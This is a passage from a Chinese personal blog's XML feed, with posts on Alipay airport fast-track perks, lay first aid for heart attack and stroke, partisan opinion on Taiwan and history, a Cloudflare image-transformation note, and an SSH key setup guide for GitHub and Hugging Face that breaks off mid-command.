。</p><p>向工作人员出示你的支付宝钻石会员快速安检权益使用码进行验证。</p><p>工作人员可能会根据你的登机时间，询问是否需要在前台后面的安检前休息室稍作休息。该休息室通常提供免费饮料、零食和泡面 。此项权益是否符合免费条件，请务必在现场与贵宾俱乐部工作人员确认。</p><p>验证后，工作人员会告知你具体的快速安检通道号码（通常是2号通道或头等舱通道 ）。</p><h3 id="通过快速安检："><a href="#通过快速安检：" class="headerlink" title="通过快速安检："></a>通过快速安检：</h3><p>根据指引前往指定的快速安检通道。这条通道人少，基本不用排队 。</p><p>正常接受安全检查。</p><h3 id="免费电瓶车服务："><a href="#免费电瓶车服务：" class="headerlink" title="免费电瓶车服务："></a>免费电瓶车服务：</h3><p>通过安检后，下到4.2米层的国内出发到达混流区，这里设有电瓶车服务点 。</p><p>向电瓶车工作人员出示支付宝的出行优惠二维码（可在支付宝内搜索“出行优惠”或类似条目查看），有可能免费乘坐电瓶车前往你的登机口 。</p><p>告知司机你的登机口号码，电瓶车会送你过去。这对于登机口较远时非常方便。</p><h2 id="⚠️-重要注意事项"><a href="#⚠️-重要注意事项" class="headerlink" title="⚠️ 重要注意事项"></a>⚠️ 重要注意事项</h2><p>预留时间：虽然快速通道能节省时间，但仍建议提前至少2小时到达机场，以从容应对所有流程。</p><p>权益确认：</p><p>支付宝权益（如休息室、电瓶车）的具体规则和可用性可能变动。出行前最好在支付宝APP内再确认一下权益详情和使用条款。</p><p>关于安检前休息室，支付宝钻石会员的权益可能仅限于快速安检，休息室使用权建议现场咨询贵宾俱乐部工作人员确认。</p><p>行李要求：你只有一个背包，这很好。请确保包内没有刀具、超过100毫升的液体等违禁品 。背包尺寸和重量一般要求较宽松，但最好确认是否符合你所乘航空公司的规定（通常重量不超过5-10公斤） 。</p><h2 id="💎-总结一下"><a href="#💎-总结一下" class="headerlink" title="💎 总结一下"></a>💎 总结一下</h2><p>记住主要流程和地点：到机场自助打印登机牌 → 去25号门附近的“贵宾俱乐部”出示支付宝权益 → 走指定的快速安检通道 → 安检后到4.2米层找电瓶车，出示支付宝二维码尝试免费乘坐 → 到达登机口登机。</p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
    </entry>
    
    
    
    <entry>
      <title>冠心病与急救策略</title>
      <link href="/posts/guan-xin-bing-yu-ji-jiu-ce-lue/"/>
      <url>/posts/guan-xin-bing-yu-ji-jiu-ce-lue/</url>
      
        <content type="html"><![CDATA[<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>冠心病（冠状动脉粥样硬化性心脏病）是一种常见且严重的疾病，它不仅影响心脏功能，还与心肌梗死（心梗）和脑梗死（脑梗）等危及生命的急症密切相关。了解冠心病的基本知识，以及在紧急情况下非医护人员应如何进行院前急救，对于保护自己和身边人的生命健康至关重要。本文将详细介绍冠心病、心梗和脑梗的关系，常见的急救情形，并提供实用的院前急救策略。</p><p><img src="https://imgbed.eamon.dpdns.org/file/1776287465979_%E5%BF%83%E8%82%BA%E5%A4%8D%E8%8B%8F%E6%9C%AF.webp" alt="心肺复苏术"></p><h2 id="冠心病（冠状动脉疾病）"><a href="#冠心病（冠状动脉疾病）" class="headerlink" title="冠心病（冠状动脉疾病）"></a>冠心病（冠状动脉疾病）</h2><h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p>冠心病，全称冠状动脉粥样硬化性心脏病，是由于心脏的血管（冠状动脉）发生粥样硬化，导致血管腔狭窄或闭塞，引起心肌缺血、缺氧或坏死的一类心脏病。它是最常见的心脏病之一。</p><h3 id="病因"><a href="#病因" class="headerlink" title="病因"></a>病因</h3><p>冠心病的主要病因是动脉粥样硬化，即脂肪、胆固醇和其他物质在动脉壁上堆积形成斑块，使动脉变窄、变硬，从而影响血液流动。风险因素包括：</p><ul><li><strong>不可改变的风险因素：</strong> 年龄（随年龄增长风险增加）、性别（男性风险高于女性，女性绝经后风险增加）、家族史（有冠心病家族史者风险高）。</li><li><strong>可改变的风险因素：</strong> 高血压、高血脂（高胆固醇）、糖尿病、吸烟、肥胖、缺乏体力活动、精神压力大、不健康的饮食习惯等。</li></ul><h3 id="症状"><a href="#症状" class="headerlink" title="症状"></a>症状</h3><p>冠心病患者的症状因病情严重程度和个体差异而异，常见症状包括：</p><ul><li><strong>胸痛（心绞痛）：</strong> 这是最常见的症状，通常表现为胸骨后或心前区压榨性、闷胀性疼痛，可放射至左肩、左臂、颈部、下颌或背部。常在劳累、情绪激动、饱餐或寒冷时发生，休息或含服硝酸甘油后可缓解。</li><li><strong>气短&#x2F;呼吸困难：</strong> 尤其在活动后或夜间平卧时出现。</li><li><strong>疲劳：</strong> 持续性的疲劳感。</li><li><strong>心悸：</strong> 感觉心跳不规则或心跳加速。</li><li><strong>出汗、恶心、头晕：</strong> 这些症状可能伴随胸痛出现，尤其在心肌梗死时更为明显。</li><li><strong>无症状：</strong> 部分患者可能在早期没有明显症状，直到发生心肌梗死等严重事件才被发现。</li></ul><h2 id="冠心病与心梗、脑梗的关系"><a href="#冠心病与心梗、脑梗的关系" class="headerlink" title="冠心病与心梗、脑梗的关系"></a>冠心病与心梗、脑梗的关系</h2><p>冠心病、心肌梗死（心梗）和脑梗死（脑梗）都属于心脑血管疾病范畴，它们之间存在密切的联系，主要体现在共同的病理基础和危险因素上。</p><h3 id="共同的病理基础：动脉粥样硬化"><a href="#共同的病理基础：动脉粥样硬化" class="headerlink" title="共同的病理基础：动脉粥样硬化"></a>共同的病理基础：动脉粥样硬化</h3><p>心梗和脑梗最常见的病因都是动脉粥样硬化。动脉粥样硬化不仅发生在冠状动脉，也可能发生在全身其他动脉，包括脑部血管。当动脉粥样硬化斑块破裂，形成血栓，导致血管完全或部分堵塞时，就会引发相应器官的缺血坏死。</p><ul><li><strong>冠心病与心梗：</strong> 冠心病是心肌梗死的主要原因。心肌梗死是冠心病最严重的并发症之一，通常是由于冠状动脉粥样硬化斑块破裂，形成血栓，完全堵塞冠状动脉，导致心肌长时间缺血坏死。因此，可以说心梗是冠心病发展到严重阶段的一种急性表现。</li><li><strong>冠心病与脑梗：</strong> 冠心病和脑梗都与全身性的动脉粥样硬化有关。患有冠心病的人，其脑部血管也可能存在动脉粥样硬化，从而增加脑梗的风险。此外，心脏疾病（如心律失常，特别是房颤）可能导致心脏内形成血栓，这些血栓脱落后随血液循环到达脑部，堵塞脑血管，引发脑梗。因此，冠心病患者发生脑梗的风险显著高于普通人群。</li></ul><h2 id="冠心病容易出现的急救情形"><a href="#冠心病容易出现的急救情形" class="headerlink" title="冠心病容易出现的急救情形"></a>冠心病容易出现的急救情形</h2><p>冠心病患者可能突然出现危及生命的情况，需要立即急救。以下是常见的急救情形：</p><h3 id="1-急性心肌梗死"><a href="#1-急性心肌梗死" class="headerlink" title="1. 急性心肌梗死"></a>1. 急性心肌梗死</h3><p>这是冠心病最严重、最常见的急救情况。当冠状动脉完全闭塞，导致心肌长时间缺血坏死时发生。症状通常比心绞痛更严重、持续时间更长，且休息或含服硝酸甘油不能完全缓解。</p><ul><li><strong>典型症状：</strong> 剧烈、持续的胸骨后或心前区压榨性疼痛，可放射至左肩、左臂、颈部、下颌、背部。常伴有大汗淋漓、恶心、呕吐、呼吸困难、濒死感。</li><li><strong>非典型症状：</strong> 部分患者（尤其是老年人、糖尿病患者和女性）可能表现为上腹部不适、牙痛、咽喉痛、背痛、疲劳、气短等，容易被忽视或误诊。</li></ul><h3 id="2-恶性心律失常"><a href="#2-恶性心律失常" class="headerlink" title="2. 恶性心律失常"></a>2. 恶性心律失常</h3><p>冠心病可能导致各种心律失常，其中室颤（心室颤动）和室速（室性心动过速）是危及生命的恶性心律失常，可导致心脏骤停。</p><ul><li><strong>症状：</strong> 突然意识丧失、抽搐、呼吸停止、脉搏消失。</li></ul><h3 id="3-心力衰竭急性加重"><a href="#3-心力衰竭急性加重" class="headerlink" title="3. 心力衰竭急性加重"></a>3. 心力衰竭急性加重</h3><p>冠心病长期发展可能导致心力衰竭，当心力衰竭急性加重时，患者会出现严重的呼吸困难。</p><ul><li><strong>症状：</strong> 呼吸急促、端坐呼吸（平卧时呼吸困难加重，需要坐起来才能缓解）、咳嗽、咳粉红色泡沫痰。</li></ul><h3 id="4-心源性猝死"><a href="#4-心源性猝死" class="headerlink" title="4. 心源性猝死"></a>4. 心源性猝死</h3><p>指心脏原因导致的突然死亡，通常在症状出现后1小时内发生。冠心病是心源性猝死最常见的原因，多数与恶性心律失常有关。</p><ul><li><strong>症状：</strong> 突然倒地、意识丧失、呼吸停止、脉搏消失。</li></ul><h2 id="非医护人员的院前急救策略"><a href="#非医护人员的院前急救策略" class="headerlink" title="非医护人员的院前急救策略"></a>非医护人员的院前急救策略</h2><h3 id="1-急性心肌梗死（心梗）的院前急救"><a href="#1-急性心肌梗死（心梗）的院前急救" class="headerlink" title="1. 急性心肌梗死（心梗）的院前急救"></a>1. 急性心肌梗死（心梗）的院前急救</h3><p>当怀疑有人突发心肌梗死时，非医护人员应立即采取以下措施：</p><ul><li><strong>立即拨打急救电话：</strong> 立即拨打120（或其他当地急救电话），清晰告知患者的地点、主要症状和初步判断。这是最关键的第一步，争取黄金救治时间。</li><li><strong>让患者停止一切活动并休息：</strong> 立即让患者停止正在进行的任何活动，帮助其平卧或采取最舒适的体位（如半卧位，抬高头部和肩部），保持安静，减少心脏负荷。禁止患者奔走呼救或自行前往医院。</li><li><strong>安抚患者情绪：</strong> 保持镇静，安抚患者的紧张和焦虑情绪，因为情绪激动会增加心脏负担。</li><li><strong>解开衣领，保持呼吸道通畅：</strong> 松开患者的衣领、腰带，帮助其呼吸顺畅。</li><li><strong>询问是否有急救药物：</strong> 如果患者随身携带有硝酸甘油等急救药物，且意识清醒，可协助其含服。但请注意，非医务人员不推荐给患者服用阿司匹林，因为阿司匹林可能有不良反应，且需要专业判断。</li><li><strong>密切观察患者情况：</strong> 观察患者的意识、呼吸和脉搏情况。如果患者意识丧失，呼吸、心跳停止，应立即进行心肺复苏（CPR）。</li><li><strong>心肺复苏（CPR）：</strong> 如果患者意识丧失，没有呼吸或仅有濒死喘息，没有脉搏，应立即开始高质量的心肺复苏。对于非专业人士，可以专注于胸外按压，按压频率为每分钟100-120次，深度为5-6厘米，尽量减少中断。</li><li><strong>等待专业救援：</strong> 在等待急救人员到来期间，持续观察患者情况，并继续进行必要的急救措施。</li></ul><h3 id="2-脑梗死（卒中）的院前急救"><a href="#2-脑梗死（卒中）的院前急救" class="headerlink" title="2. 脑梗死（卒中）的院前急救"></a>2. 脑梗死（卒中）的院前急救</h3><p>脑梗死（俗称脑中风）的急救关键在于“时间就是大脑”。非医护人员应记住“FAST”原则，并迅速采取行动：</p><ul><li><p><strong>“FAST”原则快速识别：</strong></p><ul><li><strong>F (Face drooping - 面部下垂)：</strong> 让患者微笑，观察面部一侧是否下垂或麻木。</li><li><strong>A (Arm weakness - 手臂无力)：</strong> 让患者举起双臂，观察其中一只手臂是否无力或下垂。</li><li><strong>S (Speech difficulty - 言语困难)：</strong> 让患者说一句简单的话，观察是否口齿不清或言语含糊。</li><li><strong>T (Time to call emergency - 呼叫急救时间)：</strong> 如果出现以上任何症状，立即拨打120。</li></ul></li><li><p><strong>立即拨打急救电话：</strong> 立即拨打120，告知患者的地点、发病时间、主要症状（特别是“FAST”识别出的症状）。发病时间对于脑梗的溶栓治疗至关重要。</p></li><li><p><strong>保持患者平卧，头偏向一侧：</strong> 帮助患者平卧，解开衣领，保持呼吸道通畅。如果患者有呕吐，应将头部偏向一侧，以防呕吐物误吸入气管。</p></li><li><p><strong>不要随意搬动患者：</strong> 避免剧烈摇晃或搬动患者，以免加重病情。</p></li><li><p><strong>不要给患者喂食或喂水：</strong> 脑梗患者可能存在吞咽困难，喂食或喂水可能导致呛咳或误吸。</p></li><li><p><strong>密切观察患者情况：</strong> 观察患者的意识、呼吸、心跳等生命体征，等待专业急救人员的到来。</p></li><li><p><strong>记录发病时间：</strong> 尽量准确记录患者出现症状的具体时间，这将对医生判断治疗方案非常重要。</p></li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>冠心病是一种需要长期管理的心脏疾病，其最严重的并发症是心肌梗死和脑梗死。这些急症的发生往往突然且危及生命，因此，公众掌握基本的院前急救知识和技能至关重要。在面对心梗或脑梗的紧急情况时，非医护人员应保持冷静，立即拨打急救电话，并根据患者的具体情况采取相应的急救措施，如让患者休息、安抚情绪、保持呼吸道通畅，并在必要时进行心肺复苏。记住，及时、正确的院前急救能够为患者争取宝贵的救治时间，显著提高生存率和改善预后。然而，院前急救只是为专业医疗争取时间，最终的治疗仍需依靠专业的医疗团队。</p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 急救 </tag>
            
            <tag> 冠心病 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>台湾困境</title>
      <link href="/posts/tai-wan-kun-jing/"/>
      <url>/posts/tai-wan-kun-jing/</url>
      
        <content type="html"><![CDATA[<p><img src="/posts/tai-wan-kun-jing/%E5%8F%B0%E6%B9%BE%E8%A2%AB%E6%8E%8F%E7%A9%BA.webp" alt="台湾被掏空"></p><p>媒体造谣不负责。<br>这是台湾政治生态和社会风气的问题，不全是媒体的锅。。中天若能做到早就做到了，即便馆长在台湾媒体界有一席之地，也作用有限，买这种<code>执照</code>是白花钱！！！！</p><p>冤枉 柯文哲 ，台湾恶劣的政治内斗是罪魁祸首。都忙着铲除异己了，以<code>政党斗争</code>为纲，哪有精力搞建设？即便他当选，也只能有限地缓和两岸关系，仍不会有实质改善，如改台独课纲。黄国昌利用<code>造谣的 太阳花</code>上位，实际上跟台独民进党一个路子！为哪门子台湾未来？挟私夺权才是首要任务！</p><p>常年抹黑大陆，矢志不渝地推<code>反共</code>教育。台湾主流虽倾向两岸<code>维持现状</code>，心里却坚信<code>两国论</code>。两岸是内战未尽同时存在的两个<code>政权</code>，而不是两个独立国家。<code>九二共识</code>是台湾提的方案，其中的<code>一中</code>指的并非PRC也不是ROC，而是<code>领土包含两岸的 中国</code>。现在的国民党连自己的<code>九二共识</code>都不敢认，有这种认识的台湾人应该只有占少数的<code>统派</code>吧？</p><p>台湾政治已经被<code>反共民粹</code>绑架了，谁能利用<code>反共民粹</code>谁才有政权。蔡正元说得对，台湾各党派都怕被扣<code>中共同路人</code>，台湾根本没有<code>和统</code>的内在推动条件。<code>武统</code>不可避免，只是台湾普通人别去参军做台独的<code>肉盾</code>，若实在接受不了中共能移民走尽早移民。即便打起来，也只是铲除台独政客，台湾平民不会受丝毫影响，除非是<code>台独 死忠粉</code>。</p><p>让两岸 战火重燃的，是赖清德这种台独分子。若他不想打，大陆<code>基于和统愿望</code>也没理由主动打。<br>而统一的促进者只可能是<code>中共</code>，不过兵临城下时，就别期望<code>一国两制</code>了，当初给台湾机会主动提方案奈何台湾政坛不中用啊。。。让时间来检验我的看法吧。</p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 政治 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CF图像转换</title>
      <link href="/posts/cf-tu-xiang-zhuan-huan/"/>
      <url>/posts/cf-tu-xiang-zhuan-huan/</url>
      
        <content type="html"><![CDATA[<h2 id="使用场景"><a href="#使用场景" class="headerlink" title="使用场景"></a>使用场景</h2><p>使用图片转换接口，只需改变<code>查询参数</code>，就能在不更改<code>源站原图</code>的情况下，获取到不同尺寸的<code>缩略图</code>。</p><h2 id="前提条件"><a href="#前提条件" class="headerlink" title="前提条件"></a>前提条件</h2><h3 id="1-CF管理的域名"><a href="#1-CF管理的域名" class="headerlink" title="1. CF管理的域名"></a>1. CF管理的域名</h3><p>   根域相同，或两个均受CF管理的不同域名，以下两者都要开启<code>橙色云</code>代理。</p><ul><li>CF worker作为转换原图像请求的中介，必须绑定<code>CF托管的</code>自定义域名，该接口才有效；</li><li>图片所在站点，也必须绑定<code>CF托管的</code>自定义域名。</li></ul><h3 id="2-开启图片转换"><a href="#2-开启图片转换" class="headerlink" title="2. 开启图片转换"></a>2. 开启图片转换</h3><ul><li><p><code>Images &gt; 转换</code></p></li><li><p>选择启用图片转换功能的CF worker区域</p></li></ul><p>  <img src="/posts/cf-tu-xiang-zhuan-huan/CF-worker%E5%8C%BA%E5%9F%9F.webp" alt="CF-worker区域"></p><ul><li>选择图片所在的一个或多个CF区域</li></ul><p>  <img src="/posts/cf-tu-xiang-zhuan-huan/CF%E7%AB%99%E7%82%B9%E4%B8%AD%E7%9A%84%E5%9B%BE%E7%89%87%E6%89%80%E5%9C%A8%E5%8C%BA%E5%9F%9F.webp" alt="CF站点中的图片所在区域"></p><h2 id="报错"><a href="#报错" class="headerlink" title="报错"></a>报错</h2><p>据说，CF worker图片转换转发接口，直接访问 未CF管理且开启<code>橙色云</code>代理的域名是通过<code>公网</code>访问图片，可能会遭遇图片源站的限制。而直接访问CF管理域名走得是CF内网，能正常响应。<br>若图片原链接中的域名不受<code>CF域名管理</code>，有如下报错，</p><blockquote><p>ERROR 9519: Could not fetch the image — the server returned HTTP error 522 <unknown status code></p></blockquote>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CF </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>零日攻击</title>
      <link href="/posts/ling-ri-gong-ji/"/>
      <url>/posts/ling-ri-gong-ji/</url>
      
        <content type="html"><![CDATA[<p><del>台湾的零日攻击，太不现实了！</del></p><p><del>何时上映？我想好好嘲笑一番……</del></p><p>满满的<code>意识形态</code>洗脑，接受“一国两制”就是<code>投降派</code>？打又打不过，这是最有诚意的条件了好吧？！</p><p>趁早主动谈判还有的让步，真等到被逼到家门口时签城下之盟，真没资格说“从实力的地位出发，同大陆进行谈话”，真是认不清现实。</p><p>港独分子<code>杜汶泽</code>声援台独，垃圾人拍垃圾片，水平真差。</p><p>电影两小时能讲完的<code>科幻</code>故事，竟然能水近10集？！一群市井小民支线“灌水”严重，主旨不明确。</p><p>政论节目女主持<code>尹乃菁</code>，竟然会客串这种垃圾片，台湾演艺圈是真够小。</p><p>白花钱的<code>烂片</code>，鉴定完毕！</p><p><img src="https://imgbed.eamon.dpdns.org/file/1751278055487_%E7%81%AB%E7%AE%AD%E5%8D%87%E7%A9%BA.webp" alt="火箭升空.webp"></p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 电影 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>正视历史</title>
      <link href="/posts/zheng-shi-li-shi/"/>
      <url>/posts/zheng-shi-li-shi/</url>
      
        <content type="html"><![CDATA[<h2 id="政治妥协"><a href="#政治妥协" class="headerlink" title="政治妥协"></a><code>政治妥协</code></h2><p>官方对于<code>苏军抢夺大连暴行</code>存在美化甚至掩盖，说是卖国也好！没骨气也罢！当年实力太弱，抗议前苏联有用吗？不仅急需苏联支持以赢得内战，而且打下来城市还向人家学习城市治理，甚至收复失地还要靠美国军舰帮忙……<br>民国作为<code>一战</code>的战胜国，还是被被列强<code>出卖</code>。罗斯福为了寻求苏联支持，他竟然直接替<code>委员长</code>做决定——支持<code>蒙古</code>独立。<code>吃败仗</code>赔钱，好不容易<code>打赢了</code>，还是<code>赔本</code>。还是那些话，<code>弱国无外交！</code>，<code>战场上拿不到的，也休想在谈判桌上拿到！</code>。<br><code>政治妥协</code>也是<code>利益交换</code>，是不得已而为之啊。但凡当时有<mark class="hl-label red">敢同恶鬼争高下，不向霸王让寸分</mark> 的叫板能力，谁想<code>遭后人唾骂</code>？</p><h2 id="夹缝求生的策略"><a href="#夹缝求生的策略" class="headerlink" title="夹缝求生的策略"></a><code>夹缝求生</code>的策略</h2><p>抗战时期还存在“敌后趁机做大”……中共有黑历史，国民党也有。什么叫政治？若把家底儿拼光了，撑不到最后，什么都是假的！<mark class="hl-label red">兴，百姓苦！亡，百姓苦！</mark> 平民，在历朝历代都是政治的牺牲品。</p><h2 id="有理无理地抨击"><a href="#有理无理地抨击" class="headerlink" title="有理无理地抨击"></a>有理无理地<code>抨击</code></h2><p>以“鹅爹，还有黑历史”不断抨击的人，让人不齿！甚至以此为由“扛起反对大旗，为了反对而反对”，更让人不屑！“西式民主化”就能拨乱反正救中国？我不以为然！</p><h2 id="认清功过"><a href="#认清功过" class="headerlink" title="认清功过"></a>认清<code>功过</code></h2><p>事实上，即便前期过于理想化、盲目乐观地搞建设，做出了一系列的错误的经济政策，甚至内部的政治斗争连续数年，都给国家和人民造成了巨大损失。<br>不过国家在两大阵营的不断封锁下，能保持独立性，这是很难得的。小平同志<code>为生民立命</code>，没有被意识形态所绑架，果断出击，成功保障了14亿人口吃饱饭，史上罕见。这不是俄吹美吹！民主<code>印度</code>当年的经济基础比中国好太多，现在能“睁眼看世界”的印度人太少了，他们深信<code>上海</code>不如<code>孟买</code>。</p><h2 id="对成王败寇的反思"><a href="#对成王败寇的反思" class="headerlink" title="对成王败寇的反思"></a>对<code>成王败寇</code>的反思</h2><p>官方可以出于政治目的隐藏甚至歪曲<code>苏军抢夺大连</code>这段历史，但国民要尽可能多渠道求真这段史实。<mark class="hl-label red">我国历史上，受俄国侵害，久矣！重矣！</mark> 现在是朋友，不代表永远是朋友，只是偶尔利益一致罢了！</p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 政治 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>git与SSH公私key</title>
      <link href="/posts/git-yu-ssh-gong-si-key/"/>
      <url>/posts/git-yu-ssh-gong-si-key/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="需求"><a href="#需求" class="headerlink" title="需求:"></a>需求:</h2><blockquote><p>我有不同平台github，hf.co账户，其中hf.co有两个账户a,b。。。我想尽可能清晰较少文件地管理所有私钥公钥。应该先后如何生成公私密钥对。。给出最终的.ssh目录结构，以及内部文件对应的内容示例？</p><p>我之前的做法是，<br>各个平台的首个账户，即GitHub与HF.co账户a用的都是同一个密钥对。公私密钥生成时选用默认命名（该命名在不影响鉴权的前提下能否重命名，如何做）<br>若相同平台上存在第一个账户，链接第二个账户时，才新建新的密钥对并做第二个账户名标记。</p></blockquote><h1 id="SSH密钥管理方案"><a href="#SSH密钥管理方案" class="headerlink" title="SSH密钥管理方案"></a>SSH密钥管理方案</h1><h2 id="密钥生成策略"><a href="#密钥生成策略" class="headerlink" title="密钥生成策略"></a>密钥生成策略</h2><h3 id="1-首先生成默认密钥对（用于主要平台的首个账户）"><a href="#1-首先生成默认密钥对（用于主要平台的首个账户）" class="headerlink" title="1. 首先生成默认密钥对（用于主要平台的首个账户）"></a>1. 首先生成默认密钥对（用于主要平台的首个账户）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t ed25519 -C <span class="string">&quot;your-email@example.com&quot;</span></span><br><span class="line"><span class="comment"># 使用默认路径和命名：~/.ssh/id_ed25519 和 ~/.ssh/id_ed25519.pub</span></span><br></pre></td></tr></table></figure><h3 id="2-为HF-co的第二个账户b生成专用密钥对"><a href="#2-为HF-co的第二个账户b生成专用密钥对" class="headerlink" title="2. 为HF.co的第二个账户b生成专用密钥对"></a>2. 为HF.co的第二个账户b生成专用密钥对</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t ed25519 -f ~/.ssh/hf/id_ed25519_hf_b -C <span class="string">&quot;hf-b@example.com&quot;</span></span><br></pre></td></tr></table></figure><h2 id="最终-ssh目录结构"><a href="#最终-ssh目录结构" class="headerlink" title="最终.ssh目录结构"></a>最终.ssh目录结构</h2><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">~/.ssh/</span><br><span class="line">├── config              # SSH配置文件</span><br><span class="line">├── id_ed25519         # 默认私钥（用于GitHub和HF.co账户a）</span><br><span class="line">├── id_ed25519.pub     # 默认公钥</span><br><span class="line">└── hf</span><br><span class="line">├── id_ed25519_hf_b    # HF.co账户b的私钥</span><br><span class="line">└── id_ed25519_hf_b.pub # HF.co账户b的公钥</span><br></pre></td></tr></table></figure><h2 id="配置文件内容-ssh-config"><a href="#配置文件内容-ssh-config" class="headerlink" title="配置文件内容 (~&#x2F;.ssh&#x2F;config)"></a>配置文件内容 (~&#x2F;.ssh&#x2F;config)</h2><p>ssh-config</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># GitHub - 使用默认密钥</span></span><br><span class="line">Host github.com</span><br><span class="line">  HostName github.com</span><br><span class="line">  User git</span><br><span class="line">  IdentityFile ~/.ssh/id_ed25519</span><br><span class="line">  IdentitiesOnly <span class="built_in">yes</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># HF.co 账户a - 使用默认密钥</span></span><br><span class="line">Host hf.co</span><br><span class="line">  HostName hf.co</span><br><span class="line">  User git</span><br><span class="line">  IdentityFile ~/.ssh/id_ed25519</span><br><span class="line">  IdentitiesOnly <span class="built_in">yes</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># HF.co 账户b - 使用专用密钥</span></span><br><span class="line">Host hf-b.co</span><br><span class="line">  HostName hf.co</span><br><span class="line">  User git</span><br><span class="line">  IdentityFile ~/.ssh/hf/id_ed25519_hf_b</span><br><span class="line">  IdentitiesOnly <span class="built_in">yes</span></span><br></pre></td></tr></table></figure><h2 id="密钥重命名方法"><a href="#密钥重命名方法" class="headerlink" title="密钥重命名方法"></a>密钥重命名方法</h2><p>如果您想重命名现有的密钥文件（不影响鉴权）：</p><ol><li><p>重命名文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mv</span> ~/.ssh/id_ed25519 ~/.ssh/id_ed25519_main</span><br><span class="line"><span class="built_in">mv</span> ~/.ssh/id_ed25519.pub ~/.ssh/id_ed25519_main.pub</span><br></pre></td></tr></table></figure></li><li><p>更新SSH配置：</p><p>ssh-config</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Host github.com</span><br><span class="line">  HostName github.com</span><br><span class="line">  User git</span><br><span class="line">  IdentityFile ~/.ssh/id_ed25519_main</span><br><span class="line"></span><br><span class="line">Host hf.co</span><br><span class="line">  HostName hf.co</span><br><span class="line">  User git</span><br><span class="line">  IdentityFile ~/.ssh/id_ed25519_main</span><br><span class="line">  </span><br><span class="line">Host hf_b.co</span><br><span class="line">  HostName hf.co</span><br><span class="line">  User git</span><br><span class="line">  IdentityFile ~/.ssh/id_ed25519_hf_b</span><br></pre></td></tr></table></figure></li><li><p>更新SSH代理（如果使用）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ssh-add -D  <span class="comment"># 清除所有密钥</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 重启 SSH 代理</span></span><br><span class="line"><span class="built_in">eval</span> <span class="string">&quot;<span class="subst">$(ssh-agent -s)</span>&quot;</span></span><br><span class="line"></span><br><span class="line">ssh-add ~/.ssh/id_ed25519_main  <span class="comment"># 添加重命名后的密钥</span></span><br></pre></td></tr></table></figure></li></ol><h2 id="使用说明"><a href="#使用说明" class="headerlink" title="使用说明"></a>使用说明</h2><ol><li><strong>GitHub仓库</strong>：使用标准URL <code>git@github.com:username/repo.git</code></li><li><strong>HF.co账户a</strong>：使用标准URL <code>git@hf.co:spaces/username/repo</code></li><li><strong>HF.co账户b</strong>：使用特殊URL <code>git@hf-b.co:spaces/username/repo</code></li></ol><h2 id="公钥分发"><a href="#公钥分发" class="headerlink" title="公钥分发"></a>公钥分发</h2><p>将公钥内容添加到相应平台：</p><ul><li>GitHub: 将 <code>~/.ssh/id_ed25519.pub</code> 内容添加到GitHub账户</li><li>HF.co账户a: 将 <code>~/.ssh/id_ed25519.pub</code> 内容添加到账户a</li><li>HF.co账户b: 将 <code>~/.ssh/id_ed25519_hf_b.pub</code> 内容添加到账户b</li></ul><h2 id="测试连接"><a href="#测试连接" class="headerlink" title="测试连接"></a>测试连接</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 测试GitHub连接</span></span><br><span class="line">ssh -T 